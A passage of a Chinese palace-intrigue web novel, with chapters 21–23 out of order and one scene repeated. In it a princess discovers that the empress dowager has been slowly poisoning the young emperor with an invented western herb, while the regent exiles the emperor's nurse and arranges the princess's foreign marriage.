还真是哪壶不开提哪壶,萧盈没忍住露出了一个苦笑。明绰这么问并不是因为含清宫没人,恰恰是含清宫里人太多了,但一张面孔她都不识得。任之不见了,那个总是偷偷在滴漏上做手脚、好掩饰她的迟到的圆脸宫人也不见了。明绰走进来,感觉整个含清宫伺候的就只剩下了宋夫人,可是来来往往的生面孔却比原先多了一倍还不止。
明绰抿紧了唇,几乎挨到萧盈耳边:“是太父吗?”
萧盈看定了她的眼睛,好一会儿,动作非常微小地点了点头。然后他轻轻握住了明绰的手:“姊姊呢?”
“她跟太医在偏殿。”明绰犹豫了一下,不知道是否该把宋夫人去上阳宫哭求一事告诉萧盈。但萧盈看起来似乎放心了,意识再次模糊过去,口中喃喃了一句什么。明绰把耳朵凑到了离他的唇很近的地方才听到了他说的话:“不要让他们带走她……”
“谁?”明绰问他,可是萧盈又不说话了。他整个人蜷缩得更紧,握着明绰的手,拽着她,贴在自己的胸口。明绰能感觉到手背抵着他的发烫的皮肉,心脏隔着一层,跳得很急很快,更多的冷汗从萧盈额角渗了出来。
明绰转头,再次环视了一下寝宫里像是被贼人洗劫过的情形,心里莫名沉沉地坠了一下,像是从阶上下来时一脚踏空。
又有脚步声从殿外传进来,一个脸生的婢女手里端着药走了进来。她一眼就认出了长公主,先行了礼,再奉上了药。明绰端过来先闻了闻,确实是萧盈身上一直带的那种味道,便轻轻地推了推萧盈,想把自己的手从他的抓握里抽出来。
“皇兄,”明绰小声哄他,“吃药了。”
萧盈一时仍未醒,明绰很有耐心地在他耳边轻轻呼唤了好几声,他才又呼出一口气。人清醒一些,眼睛却不愿睁开似的,痛苦地翻过脸,埋进被衾,似是怕光。明绰把药端近一些,又说了一句:“皇兄,把药喝下去就没那么难受了。”
萧盈闻到熟悉的味道,终于睁开了眼睛,看了明绰一眼。他什么都没说,只是躺在那里,就像一只无奈而甘心的鹿,不愿喝药,但只要明绰真的喂,他也会喝。这一眼依稀似曾相识,明绰端药的手突然一抖,往回缩了一下。
不对,皇兄不愿喝药绝对不是因为怕药苦。
明绰回头看了一眼那个脸生的婢女,她站得远远的,姿态恭敬,低着头,看也不往这里看。明绰转回来,看着自己手里的药。小小一碗深褐色的液体,却像一碗看不到底的深潭,映出了她的脸。
太医来施了针,缓解了萧盈的痛苦,却开不出别的药,宋夫人情急之下就去上阳宫求太后——其实她早该想到为什么。含清宫的人是太尉今天才要换的,但这药萧盈已经吃了很多年,如果这药有问题,只会是谢拂霜。
萧盈伸出手,轻声道:“朕喝就是。”
明绰躲了一下,突然仰起脖子,一口把药全灌了下去。萧盈也不知道哪里来的一股力气,整个人都一扑,把药碗从明绰手中打飞出来。还剩下一点儿来不及喝下去的药随之洒出来,滴落明绰的襟口。
“你在干什么?”萧盈抓着她的手,原本苍白的面色突然泛出一股异样的红,“快吐出来!”
明绰看着他,突然笑了一声,眼泪却迅速地蓄满了眼眶。这就是她要的答案了,如果她好好问,萧盈一定不会说。那个婢女茫然地抬头,不明白发生了什么。
明绰:“去把太医叫过来,就说是我误食了陛下的药。”
那婢女唱了一声诺,下去了。萧盈看着她,脸上的红褪下去,重新变作玉石一般的惨淡。明绰不忍看他的脸,低下了头。眼中摇摇欲坠的泪就这样落下,“啪”地一下砸在了萧盈的手背上。萧盈像被烫了一下,手指神经质地一缩。
明绰的声音如耳语:“你知道多久了?”
萧盈沉默片刻,嗓音还是低哑的,回答她:“三年。”
明绰点了点头,什么都没再问。如果她还要大哭大闹,质问他为何不肯告诉自己,也未免太叫人看轻了。还能是为什么呢?
明绰低下头,把脸贴在了萧盈的掌心。萧盈到底比她大了多少?方千绪一直没机会说得太明白。但要骗过百官,也不会大太多。一岁,两岁,又有多大的分别?三年前,他也不过还是个孩子。
殿外很快又传来了脚步声,太医令几乎是连滚带爬地进来。明绰抬起头,太医令顾不得行礼,告了句罪就来摸明绰的脉。
宋夫人也跟了进来,见状脚下一顿,眼神复杂地看着明绰。明绰与她对视了一眼,抽回了手。
“卞大人这么紧张做什么?”明绰故作无事,“这药皇兄用了这么多年都没事,我喝一碗又能怎么样?”
卞弘脸已皱作一团:“长公主也太贪玩了些,药岂是能乱吃的?”
萧盈亦沉了声音:“东乡,别胡闹。”
明绰不理他,只道:“卞大人开的药没用,东乡只好替皇兄喝了。卞大人还是另开一副有用的来吧!”
卞弘低头行礼,只道:“此药是太后为陛下从西域寻来,珍稀难得,若陛下不用,恐伤了太后的心。”
明绰笑了笑:“什么好药?我竟没有。母后可真是偏心,小心我都偷了喝来!”
卞弘不说话了,垂着眼睛,避着明绰的眼睛。整个寝宫都没人说话,宋夫人和萧盈的眼睛全都在明绰身上。
好一会儿,卞弘才朝明绰行了一礼:“臣为陛下重新开药。”
他匆匆取了笔墨,一张方子写得龙飞凤舞,写完收笔
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,双手呈上,道:“每日一剂,吃上三个月,应当能缓发作。”
宋夫人接过方子看了一眼,抬头朝着萧盈点了点头。她虽不通医理,但萧盈久病,她伺候多年,对于什么药管用,什么药有害,还是知道个大概。
卞弘还在说:“但此药不能根治,最要紧的还是陛下平心静气,切不可大悲大怒……”但萧盈见宋夫人点了头,已不耐烦听太医叮嘱下面的话,厉声喝断他:“还不给长公主诊脉!”
“我随卞大人去偏殿吧,”明绰没事儿人似的站起来,“皇兄再歇一会儿,我亲自去给你看着药。”
萧盈仰头看她,明绰的手仍被他握着,安慰似的在他掌心一拂,便转身走了。一直走到殿外,她的背都挺得笔直,行动如常,可是一到萧盈看不见的地方,她就突然攥住襟口,疼得僵在原地,靠住了背后的墙,不敢动弹。
原来这就是萧盈这么多年的感觉。明绰咬着下唇,下意识地屏住了呼吸。那疼痛很尖锐,但并不持续,一下一下,随着心跳电流一般从胸口划过去。卞弘跟在她身后,见状全无惊讶,站在廊下就把明绰的袖子捋上去,针刺腕上内关穴。
“好厉害的药啊。”明绰缓过一口气,轻声道,“卞大人是打算自己告诉我,还是等我去朝上揭发你毒害陛下,意图谋逆?”
卞弘低着头,指尖轻轻捻动银针,另一只手扶着明绰,许久都没有说话。他会这么做,自然是有太后的意思,明绰这样的威胁有几分用,连她自己都不确定。可是长公主毕竟还是长公主,被明绰这样目光灼灼地盯着,卞弘的额上已经见了一层汗。
“这里没别人。”明绰小心地控制着自己的呼吸,那疼痛没有这么尖锐了,只是每一次呼吸的时候,还是有些牵扯着胸口闷痛。说话的时候,每个字都不敢出实了声,听起来便气若游丝,人见犹怜。
“卞大人,东乡求你了。”
卞弘手上剧烈地一颤,然后他沉沉地叹出了一口气。
“太后所用穙齐香,出自西域拂菻国,用的是一种叫‘顶勃梨咃’的树,其树无花无果,但叶有异香,断其枝,有黄汁,状如蜜,香气最馥……”
异香。明绰突然想起来,萧盈一直吃的那味药味道非常特别,甚至缠绕在他身上经年不变。药材各有其味,但煎成汤药就都差不多,明绰从未见过其他什么药的味道能这样特别且长久。
“可那不是穙齐香的味道……”
卞弘继续往下说:“取树汁制成香料,便是清心宁神、止痛解乏的良药。取叶入药,则为损心脉的毒药,煎过之后,味道会变。”
又是一道刺痛,游蛇般从她的胸口滑过去。
卞弘搭着她的脉,又添了一根针。明绰低头看着自己的手腕,感到一阵异样的麻木蔓延在指尖,但她已经分不出是因为那碗药,还是因为这些银针,又或是,仅仅是那几个字。
明绰的嗓音沙哑:“怎么解?”
卞弘神色复杂,一时竟未答。明绰看着他的眼睛,突然忍不住猜测,是不是这些年他也背着太后找过解法。
卞弘见她神色,以为她害怕,便换上了劝慰的口吻:“长公主也不必太担心,此药虽性烈,但不会马上要人性命。长公主用得少,略加休养即可,无需特意解毒。只是以后切不可再碰了……”
当然了,明绰苦笑一声。若是一剂就能夺人性命的剧毒,未免做得太明显。她自是心里有数才敢自己喝下去。
“那像皇兄这样已服用了多年的呢?”
卞弘抬起头,看了明绰一眼。惋惜,羞惭,都缠绕在他眼中。为医者伤人,他心亦难忍。可是这世上多的是医者救不了的人,强权如山,山崩石裂,他只能先保自己的命。
“臣无能。”卞弘轻声道,“陛下……已无药可解。”
23.第 23 章
萧盈原本注定活不到二十岁,史书上记他一笔,大概会说哀帝早孤,短折,天下憾之。寥寥几字,仅此而已。
可是萧盈不傻。照卞弘所说,其实陛下早几年开始就已经很少吃这药。萧盈毕竟年少,兼练骑射,身子已经康健很多了。连卞弘也一度以为,也许他当真能熬过去。
但心脉的损伤不可逆的,即使毒早已排干净,只要萧盈的情绪有太大的起伏,哪怕没有服药也有发作的风险。每发作一次,就是阎王敲一次钟。如今的情形来看,若他当真能做到忌悲忌喜,忌怒忌嗔,忌惊忌疑,或许也能活到四十岁。可是……
卞弘没有往下说,但明绰已经听明白了。外戚擅权,太后称制,萧盈夹在其间,没有一日不是活在惊疑和恐惧之中。
可是他明明已经做得很好了。长沙王杀到眼前的时候,多少宗亲一把年纪了还是吓得屁滚尿流,萧盈却始终面不改色。明绰以前就觉得皇兄那套“静气”的功夫不同一般,有的时候甚至有些讨人厌,因为她总是不知道皇兄在想什么。她还一直以为萧盈是天性如此。
“卞大人跟皇兄说过吗?”明绰最后问卞弘,“他最多能活到四十岁?”
“臣岂敢。”
“好。”明绰自己把手腕上的针拔了下来,“一个字都不许说。今日之事,也不许向母后提起。”
卞弘本想制止她的动作,但针已递过来,他也只好双手接过,躬身道:“臣明白。”
太医令坚持要公主卧床休息,但是明绰没听他的。说了亲自替陛下看药,便当真去了膳房。煎那新药的是宋夫人,明绰看着她每一味药都细细检查,连熬药的瓦罐都要用草木灰亲手洗过两遍才肯用,便猜三年前发现这药不对的一定是她。
宋夫人不置可否,去给明绰多端了一张矮凳来,让她坐下。然后又觉得不太放心,找了软垫来垫在明绰身后,让她能半靠在灶台边上,舒服一些。伺候完了,才淡淡地回答了一句:“是陛下自己。”
她抬起头看着明绰:“长公主可还记得,三年前因西域有战乱,太后宫里的穙齐香断过一阵?”
明绰点了点头,她记得这件事。
宋夫人垂下眼:“陛下一心孝顺太后,曾偷偷去民间征过。”
因太后喜欢,西域的各色熏香在建康很流行。天子派人去找,还真找着一些积年的存货。有个富商手头甚至有顶勃梨咃的活苗,听说献进宫里,连钱都不要,殷勤得很。还特意强调,这几棵苗他嫁接过,才在建康养得活。叶虽小些,但毒性去了,比西域的还要好……
萧盈这才知道,那叶子本来是有毒的。
明绰默然,不知道该说什么好。
宋夫人用火钳子拨了拨火,让炉子烧得更旺些,继续往下说。仅仅是知道叶子有毒,萧盈还想不到自己身上。他是担心太后对穙齐香太过依赖,若有毒性,要伤了身子,便从太医令那里要了各种讲药理的书来看。就是这个举动,引起了太后的警觉。当时替陛下整理医书、借来送往的是太医令的弟子,一个眉毛下撇、一脸苦相的太医署小吏。然后有一天,这个苦相的小吏突然失踪了,萧盈问了一句,太医令只说,他去民巷调查时疫,不幸染上,病殁了。
不久之后,萧盈发现那小吏还遗漏了一本书在含清宫。他从书里找到了一张夹带的书页,上面画了顶勃梨咃的叶子,写了入药的医理,写了那股异香,还写了服用之后对心脉的损伤。
那天萧盈没有服药,但他半夜发作,浑身剧颤,冷汗不止,还要挣扎着在太医令来之前烧掉那页纸。
明绰静静地听着,一句话也没说。宋夫人提到的这些事,她一点儿印象也没有。什么突然消失的太医署小吏,什么夜半的急病,她竟然一丁点儿都没有察觉。那个时候她每日都会来含清宫的,可是萧盈一点儿都没表现出来,他的痛苦没泄露给她,也没泄露给太尉。只有到此时,宋夫人讲到这个份上了,明绰才想起来,就是从那以后,皇兄再也没有问过她有关母后的任何事。
“所以他……”明绰哽了一下,几乎说不成话,“他本来是没有这个病的?”
宋夫人微微侧过脸,掩饰过垂下的一滴泪,点了点头道:“有。”
萧盈第一次犯病是在迁宫后不久,某一日大朝会之前,突然痛得起不来了。但宋夫人很快就发现,萧盈平日都是好好的,唯独要大朝会了才痛,便猜是小孩子被吓着了。太医署好几个太医一同会诊,最后也就说是“肝气不顺”而已。
那时萧盈逢朝会就容易犯病,太后倒也没说什么,若他起不来,就把公主扮起来带去太极殿,就这样相安无事了几年。直到有一天,上阳宫突然送来了那味治心痛的药。
那时候萧盈还小,他说不明白到底是因为心痛才要吃药,还是吃了药才会心痛,更分不清这痛有什么差别,只知道难受便吃药,如此循环往复,生生成了一个药罐子。
“自从三年前知道真相以后,陛下就不用这药了。”宋夫人看着火,声音有些遥远,像在给明绰讲故事,“没多久就让人发觉,陛下的身子好多了。从此上阳宫就把药煎好了送来……”
明绰的手指突然不受控地抽了一下。
宋夫人:“若是寻常宫人送来,我还有机会把药换了,但若是有什么要紧的事情,太后绝对不许陛下去,就会让灵芝来送。”
灵芝是一定会看着陛下把药喝下去的。
宋夫人说到这里停了,药已在罐中“咕噜咕噜”地滚开,一时之间,整个膳房只听得到柴火爆裂的“噼啪”和汤药翻滚的声音,空气里满是浓郁的药味。
“那皇兄今日为何突然犯了病?”明绰问她,“谁这么大的胆子,把他的寝宫糟蹋成那样?”
宋夫人没答这个,好一会儿,突然一撩裙角,在明绰面前跪了下来。明绰一惊,慌忙站起扶她:“姊姊这是……?”
“长公主,”宋夫人顺势攀住了她的手臂,仰起脸急切地看着她,“陛下一直把你当成亲妹妹,算是知道了太后……他从来没有一刻迁怒你呀!”
明绰急道:“我知道,你先起来……”
“长公主!”宋夫人一把摁住她,眼泪汹涌地在她脸上流淌,她也顾不得擦,“太尉独断却不残忍,他对陛下有舐犊之情,陛下尚可一争——太后!太后才是当真狠辣……”
她一时噎住,突然重重地在地上磕了一个头。明绰下意识往后一退,踢翻了身后的矮凳。窗外突然快速的闪过了几个人影——
“到那一天,”宋夫人压低声音,“求长公主念在这么多年兄妹之情,救救他!”
明绰:“我……”
膳房的门突然被推开,两个城门校尉打扮的人闯
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了进来,见到明绰也在,匆匆地给她行了个礼,便一左一右地把宋夫人从地上拉了起来。
“夫人,”他们的态度还算客气,“可以走了吧?”
明绰下意识地上去拉住宋夫人,戒备地看着他们:“你们做什么?谁让你们来的?你们要带姊姊去哪里?”
“长公主莫怪,”左边那个校尉回道,“臣是奉了太尉之命……”
“不行!”明绰更紧地拽住了宋夫人的手臂,声音绷得变了调,“你们去回太父,就说是我的意思,我不许!”
“长公主……”宋夫人落了泪,低低的唤了她一声,小声安慰道,“没关系,别……”
那两个校尉对视了一眼,显然没把东乡公主的话放在眼里,一人微微一用力,就把宋夫人从明绰手里拉了过去。另一人随即往前一站,用身体拦住明绰,行了一礼,道:“长公主,宋氏伪造虎符,矫诏圣意,本是杀头的罪。太尉念在她抚养陛下有功,已经法外开恩。臣等只是将她遣回原籍,并不想对她怎样,她丈夫已在宫门外等一天了,还望长公主不要让臣等难做……”
明绰哪里肯听,可是那校尉身材高大,往她面前一挡,竟把大半的视线都遮住了。明绰急得左右突围,都越不过他去。说到后来,那校尉没忍住伸手在明绰手臂上拽了一下,明绰突然厉声一叫:“你敢碰我?!”
那校尉赶紧松手,连退两步:“臣不敢!”
“你给我让开!”
校尉还是那句话:“臣不敢!”
另一人拽着宋夫人,听声音已经出了膳房。宋夫人并不挣扎,只是急道:“长公主,没事的,你回去吧!”
明绰急得不知如何是好,环视了一圈,突然抄起路边的烧火钳,双手握住,像柄剑似的挥了两下。烧火钳在空中甩出火星子,把那校尉逼得一路退到了门外。
“放手!”明绰擎着烧火钳就要打那个抓人的校尉,“我要去告诉皇兄!你们不怕皇兄治你们的罪吗!”
“长公主!”宋夫人一下子扑上来,摁住了她的手,“没事的!太尉已经开恩了,不会把我怎么样!陛下已经歇下了,我们不要再惊动他,好不好?”她放软了声音,从明绰手中抢过了烧火钳,“当啷”一声丢在地上,然后抬起手,替明绰拢了拢鬓角乱掉的头发。她努力想笑一笑,可是嘴角扭曲着,笑不出来,只是叫她,“溦溦,记住姊姊的话。”
明绰愣在原地,眼泪断线珠子似的往下落,看着宋夫人擦了擦脸,整了整刚才扯乱的衣服,主动走回了那两个校尉身边:“走吧。”
她就这样顺着回廊走远了。药罐里的汤药已经滚得扑了出来,浇灭了火。焦糊味从窗户飘出来,明绰喘了两口气,感觉喘不上来气似的,抓住了自己的襟口。
皇兄说过,“不要让他们带走她”。
明绰转过身,一溜烟地跑回了主殿。萧盈睡得不深,明绰只推了他一下,他就醒了,只听了两个字,他就明白发生了什么,一下子从床上翻身起来。
守在寝宫外面的婢女惊讶地看着萧盈只着中衣,披头散发,草草套着鞋就奔了出来:“陛下?!”
明绰用力把她一推:“让开!”
萧盈没有停下来,但他把手伸到了身后,等着明绰握住他的,然后他们手拉着手,飞快地从含清宫漫长的阶梯上跑了下去。
20-30
第21章
“桓廊他敢?!”谢拂霜的音调一下扬起,像崩断的弦。庾夫人赶紧做了个手势,示意她小声些,但谢拂霜视若无睹,只转过头来问谢聿,“你也同意了?”
谢聿没看她的眼睛,低了头,不响。
几年前他们还商议着出兵剿乌兰,如今大燕已在长安坐稳江山,上次跟段太后交手,大雍也没有讨到多少便宜。西海那边传出风声,乌兰徵在战场上不输乃父,兀臧部节节败退,大局初定。时局如此,连当初主战的桓廊也不得不承认,眼下最好跟大燕和平相处。
段太后到底是汉人,也不愿意和大雍起兵戈。她此时递来国书求娶公主正是良机,尚书台马上就批示了“准”。桓廊还玩儿了点儿心计,知道太后爱女心切,所以拿去给陛下批,也算是表个态,支持陛下亲政的意思。
没想到陛下连尚书令的面子都驳了,说什么也不肯。
天子不允,那便要重臣们组织廷议,商量个对策出来。但商量来商量去,还是觉得没有拒绝的理由。段太后只求“宗室公主”,倒也未必要长公主这般尊贵。可是坏就坏在藩王接连叛乱,他们的子女都跟着获罪贬谪,眼下宗室之中除了东乡公主已无适龄女子。若是再往旁系去找,那已不姓萧了。若是段太后以为这是羞辱,便有理由出兵犯雍,这可越发得不偿失。最后结论还是那个,只能东乡公主去。
谢聿回太尉府,才刚开了个口,妹妹就不愿听了。
谢拂霜梗直脖子骂他:“你怎么不让你女儿去!”
“我女儿不是公主。”谢聿只道,“若她是公主,我自肯让她去!”
庾夫人朝谢聿瞪起了眼睛,脸色难看,但没敢说什么。谢拂霜看在眼里,冷笑了一声道:“本宫封她个公主又有何难?此事前朝亦有先例——”
只听门外传来一个声音:“星娥姓谢,不配封公主。”房内三人都是一惊,庾夫人第一个站起来,迎到门边去扶。谢郯吐血后一直卧床不起,昨天才微微有了好转,能自己吃得下饭了,眼下让一个婢女扶着,走得甚为艰难。谢聿见状也上来扶,夫妻两一个一左一右,几乎是把他架了进来。唯独谢拂霜站着,并不肯来扶。
谢郯坐下,说不出话,只是喘。
谢聿:“父亲,我和拂霜在说……”
谢郯抬了抬手:“听见了。”
兄妹两个便都不说了,等着谢郯发话。但他不提这个,只从怀里抽出一封信来,交给谢聿:“把这个发去幽州,让你兄弟回来。”
谢聿低头一看,信是写给他堂弟谢维的。
谢郯的弟弟早逝,谢维在太尉府长大,如同亲生。当初北边的陈氏仍在时,幽州是大雍对抗陈氏的前线,谢维奉命领幽州事,已多年不曾回家。
谢聿有些茫然,不明白谢郯为何此时要把谢维召回来。谢郯抬头对谢拂霜道:“太后,长沙王余孽到现在还没找到,足见楚培不堪大用。执金吾卫是国之重器,不能交在这小儿手中。让谢维回来掌执金吾卫吧。”
谢拂霜微微皱眉,脸上仍有疑惑,但还是应了一声:“好。”
谢郯点点头,他似是想咳嗽,但连咳嗽的力气都没有,发出来的就只是难听的喘,胸腔里“呼哧呼哧”地响个没完。谢拂霜的眉头皱得越发紧,到底还是凑上去。庾夫人给她让了个位置,她跪坐在父亲身边,轻轻地在他背上给他顺气。
“我知道,”谢郯缓过一口气,朝她道,“你舍不得女儿。”
谢拂霜的手停下来,木着面皮,不搭话。
谢郯也没再说什么,口吻变得像下命令:“你亲自写信给段太后,就说东乡公主年纪尚幼,你膝下单薄,让公主在你身边再陪两年。等公主满了十六岁,便送她去长安完婚。”
谢拂霜听到前半句时眼中还闪出了光,但是那光迅速熄灭,成了两抹灰烬。
“父亲……”她的声音有些发颤。
谢郯只当没听见:“段太后也有女儿,想必会体谅,不至于两年都不愿等……”
“父亲!”
谢郯终于停下来,谢拂霜看着他,眼中有泪,但她不肯让眼泪落下来。谢郯始终没有看她的眼睛。
“你出嫁的时候,为父也心疼。”良久,谢郯轻声道,“但女儿总是要嫁的,东乡不能留在你身边一辈子。”
谢拂霜下唇剧颤,说不出话。她是嫁了,可是太尉府到宫城路远几何?建康到长安又路远几何!她为何不能把女儿留在身边一辈子?建康有那么多的名门权贵,选谁不行?——可是谢郯抬起头看着她,目光那么冷,几乎是一个警告。
他就是要把明绰送走,彻底断了她的念想。再给两年已是天大的恩赐,她若识相,就知道此时该妥协了。
谢拂霜突然了然地笑了一声,像是在笑自己。她站起来,低头整了整压皱的裙裾,一滴泪随着她的动作坠下,谢拂霜迅速地用手背擦去。
“是啊,女儿总是要嫁的。”她重新昂起头,“我也早已嫁了人,真不知道为何还要在这里。”
她说完这句话,转身就走,甚至没有跟谢郯告别。庾夫人茫然地看向谢郯和谢聿,但他们父子两个都没有要追出去的意思,她只好提起裙裾,匆匆地跟上去,口中连声唤“太后”。
谢郯阖上了眼睛,似是累极了。
“父亲,”谢聿轻声道,“儿子扶你回去歇息吧?”
谢郯摇了摇头:“听说今日廷议,陛下当众申斥了你?”
谢聿眉尖轻轻一跳,意外父亲尚在病中,怎么会知道得这么快。萧盈对待朝臣从来温和绵软,善纳谏,常施恩。太后以前常说他无力御下,谢聿也是今年才咂摸出味儿来,萧盈这是知道手里没什么筹码,只能春风化雨,看着绵软,其实都是拉拢人心。想做什么,往往借力打力,从不硬来。唯独今天翻了脸,态度之强硬,谢聿从未所见。
可惜翻脸也没用。此事并不涉及朝中大姓争权,陛下无处使力。反而是群臣都就事论事的时候,就看出来陛下根基之浅了。但凡他威重服人,总会有人帮腔,不至于如此。
萧盈似乎也意识到了这种局面对他的不利,越发情急,当众申斥了中书令,更像个发脾气的小孩子。
谢聿对此事没再说什么,反倒斟酌着字句道:“父亲,方……那位所言,其实不无道理。”
谢郯眼皮垂着,若有所思。好一会儿,突然问:“他密诏执金吾卫,是谁把那假虎符从宫里送出来的?”
谢聿一怔,倒是让父亲问住了。萧盈授意崔挺在众宗亲面前杀太尉府的人一事,其实他们都心知肚明。但太后已经处置了崔挺,假虎符一事也就过去了。谢郯问这个,那无非就是含清宫里的人,萧盈身边的亲信也没有几个。
“陛下也长大了。”谢郯语气淡淡的,“还留着乳母在身边,像什么话。”
谢太尉一句话定了乾坤。鸿胪寺次日便拟诏,由燕国使者带回。月底,谢维自幽州返京,奉太后令掌执金吾卫,楚培仍任右中侯。
甫一上任,谢维便接管了整个建康的防务,先找长沙王余孽。城中原本是五家为伍,五伍为里,设里长治理。但京中多权贵,里长们也多跟世家沾亲带故,都是滚刀肉,楚培镇不住他们。谢维出手便是铁腕,先砍了两颗脑袋立威,然后下令,若是查出窝藏长沙王余孽的,全伍连坐。不过七日,躲藏多时的李姬就被抓出来处以极刑。李姬出身民间,窝藏她的正是她幼时的邻居,眼下一并发落。谢维说到做到,全伍五户人家全部杀光,尸体在城墙上吊成了一排。
这头雷霆手段使完,长沙王那两个儿子倒是没杀。太尉下令,虽把他们都下了诏狱,但连侯爵都未褫夺。此举一行,朝中便都闻出风向不对。陛下能在太后手里争权,说到底是因为太尉的支持。陛下申斥中书令一事,恐怕犯了太尉的忌讳。
说得不好听一点儿,太尉这还没闭眼呢,陛下也太着急了。
含清宫再次变得冷冷清清。
上阳宫外传来异响的时候,明绰正陪着谢拂霜用饭。自从太尉府回来以后,谢拂霜消了气,对明绰的态度好了许多。明绰亦很乖觉,听见宋夫人的声音,先是下意识放下了碗筷,随后又看了一眼母后的脸色,没动。
外面乱糟糟地传进来许多人声,宋夫人被拦了下来。但她不肯走,扯着嗓子,哀泣一般:“陛下犯了心痛之疾,求太后见怜开恩!”
明绰的心一下子吊了起来:“母后!”
谢拂霜不为所动,好像没听见外面有人,平静地给她夹了一筷子菜。
宋夫人还在喊:“太后!开恩哪!”
明绰想站起来,梁芸姑的手立刻搭到她肩膀上,不轻不重地唤她:“长公主。”
“奴婢甘愿万死,只求太后开恩!不要折磨陛下了!”
谢拂霜终于放下了碗筷,眉间似有不快:“病了就去请太医,来上阳宫聒噪什么?”
她抬了抬手,示意灵芝出去问。明绰看着灵芝快步跑了出去,外面的声音稍微静下几分,不多时灵芝便又跑回来,回禀说陛下晌午就不适,但是太医令只让仍旧吃着原先的方子,宋夫人这才来求太后。
谢拂霜听完也只垂了眼皮,淡淡道:“那听太医的就是了。”
明绰突然站起来,重重地甩开梁芸姑,转身就走。
谢拂霜低声道:“站住。”
明绰站住脚,听见谢拂霜在身后道:“坐下吃饭。”
“我要去含清宫。”
谢拂霜的声音冷冷的:“你去有什么用?”
明绰转回头看了她一眼,眼中是掩都掩不住的伤心责备。
萧盈是这样没有分寸的人吗?平时朝会他都很少开口,又怎么会突然力排众议,激怒权臣?她不信母后也不明白。
“皇兄都是为了我。”明绰说得很简单,“我要去。”
她说完就快步走了出去。梁芸姑在她身后叫了一声,回头去看谢拂霜的眼色。但是谢拂霜没有让人拦,她就这样静静地看着女儿跑了出去,眼中的神色复杂到难以言明。
梁芸姑第一次从她眼中看到了松动,一种近乎柔软的怜悯。谢拂霜抬头,看到了梁芸姑看着她,突然苦笑了一声,那怜悯竟像是对着自己。
十几年的冷漠与残忍之后,她竟会在今日从那个孩子身上看到“同病相怜”这种东
西吗?未免太可笑了。
谢拂霜示意灵芝过来:“你也去含清宫一趟。告诉太医……”
她停了下来。灵芝等着她往下说,可谢拂霜没再出声。已经这么多年了,只这一次,还能有什么用吗?
她垂下眼,低着头,那一瞬间,没有人看得到太后脸上的神情。然后她漠然地重新端起了碗筷,面无表情地继续吃饭。
灵芝乖觉地退了一步,没有再问太后本来想吩咐什么。
第22章
几个铜的烛台被掀倒在地,大部分蜡烛都从中断折,像被砍下来的脑袋,唯有一根烛芯勉强相连。纸笔散了满桌,洒着斑斑的墨。床边有个鎏金的水盆,里面吐了什么东西。床幔后面有个人影,缩得那么小,随着有人进来的脚步声而轻微地动了动。
“皇兄……”明绰唤了一声,轻轻地挑开了床幔。
萧盈躺在床上,闭着眼睛,紧紧地皱着眉。身上只有一件中衣,被冷汗黏在了身上。披散的长发覆在脸上,沾得凌乱。他没应,好像根本没听进是谁进来了。明绰跪坐到床边,伸出手,给他把汗湿的长发从颊边捋开。萧盈被她的动作惊了一下似的,突然睁开眼,一把抓住了她的手腕。
他的力气太大,明绰没忍住“嘶”了一声。有那么一会儿,萧盈好像完全认不出来的人是谁,眼底一片血红,带着明绰从未见过的恨意。她几乎听不到他的呼吸声,他像一头潜伏起来的野兽,攒着劲,连呼吸都不舍得浪费力气,直到明绰又叫了一遍“皇兄”,萧盈眼中才浮起一阵恍惚,慢慢地松开了手指。
“你怎么来了?”
他的声音很哑,明绰险些没认出来。其实她从来没有撞见过萧盈发病的样子,往日里都是知道他病了再去探望,他最多是脸色差些,身上的药味浓些。见到他这样,明绰一句话都还没说出来,眼泪已经先下来了。
萧盈的眉头皱得更紧,伸出一只手来摸了摸她的头发:“别哭。”
“皇兄,”明绰的视线落到萧盈微敞的衣襟上。她记得宋夫人说过按摩哪个穴位来着可以缓解,可是哪一个呢?她根本一窍不通,一时急得只是落泪,又问,“你哪里难受?”
他哪里都难受。心脏每跳一下都像是要炸开来,呼吸间牵扯着摸不到的痛处,早些时候还只是轻微的刺痛,到现在他已经感觉不到他的手臂了。恶心,冷汗出完就是呕吐,现在眼前都是花的,看不清她,却还是勉强挤出了一个笑:“太医施过针了,没事。”
明绰吸了吸鼻子,环视了一圈,又小声问他:“皇兄,含清宫里的人呢?”
还真是哪壶不开提哪壶,萧盈没忍住露出了一个苦笑。明绰这么问并不是因为含清宫没人,恰恰是含清宫里人太多了,但一张面孔她都不识得。任之不见了,那个总是偷偷在滴漏上做手脚、好掩饰她的迟到的圆脸宫人也不见了。明绰走进来,感觉整个含清宫伺候的就只剩下了宋夫人,可是来来往往的生面孔却比原先多了一倍还不止。
明绰抿紧了唇,几乎挨到萧盈耳边:“是太父吗?”
萧盈看定了她的眼睛,好一会儿,动作非常微小地点了点头。然后他轻轻握住了明绰的手:“姊姊呢?”
“她跟太医在偏殿。”明绰犹豫了一下,不知道是否该把宋夫人去上阳宫哭求一事告诉萧盈。但萧盈看起来似乎放心了,意识再次模糊过去,口中喃喃了一句什么。明绰把耳朵凑到了离他的唇很近的地方才听到了他说的话:“不要让他们带走她……”
“谁?”明绰问他,可是萧盈又不说话了。他整个人蜷缩得更紧,握着明绰的手,拽着她,贴在自己的胸口。明绰能感觉到手背抵着他的发烫的皮肉,心脏隔着一层,跳得很急很快,更多的冷汗从萧盈额角渗了出来。
明绰转头,再次环视了一下寝宫里像是被贼人洗劫过的情形,心里莫名沉沉地坠了一下,像是从阶上下来时一脚踏空。
又有脚步声从殿外传进来,一个脸生的婢女手里端着药走了进来。她一眼就认出了长公主,先行了礼,再奉上了药。明绰端过来先闻了闻,确实是萧盈身上一直带的那种味道,便轻轻地推了推萧盈,想把自己的手从他的抓握里抽出来。
“皇兄,”明绰小声哄他,“吃药了。”
萧盈一时仍未醒,明绰很有耐心地在他耳边轻轻呼唤了好几声,他才又呼出一口气。人清醒一些,眼睛却不愿睁开似的,痛苦地翻过脸,埋进被衾,似是怕光。明绰把药端近一些,又说了一句:“皇兄,把药喝下去就没那么难受了。”
萧盈闻到熟悉的味道,终于睁开了眼睛,看了明绰一眼。他什么都没说,只是躺在那里,就像一只无奈而甘心的鹿,不愿喝药,但只要明绰真的喂,他也会喝。这一眼依稀似曾相识,明绰端药的手突然一抖,往回缩了一下。
不对,皇兄不愿喝药绝对不是因为怕药苦。
明绰回头看了一眼那个脸生的婢女,她站得远远的,姿态恭敬,低着头,看也不往这里看。明绰转回来,看着自己手里的药。小小一碗深褐色的液体,却像一碗看不到底的深潭,映出了她的脸。
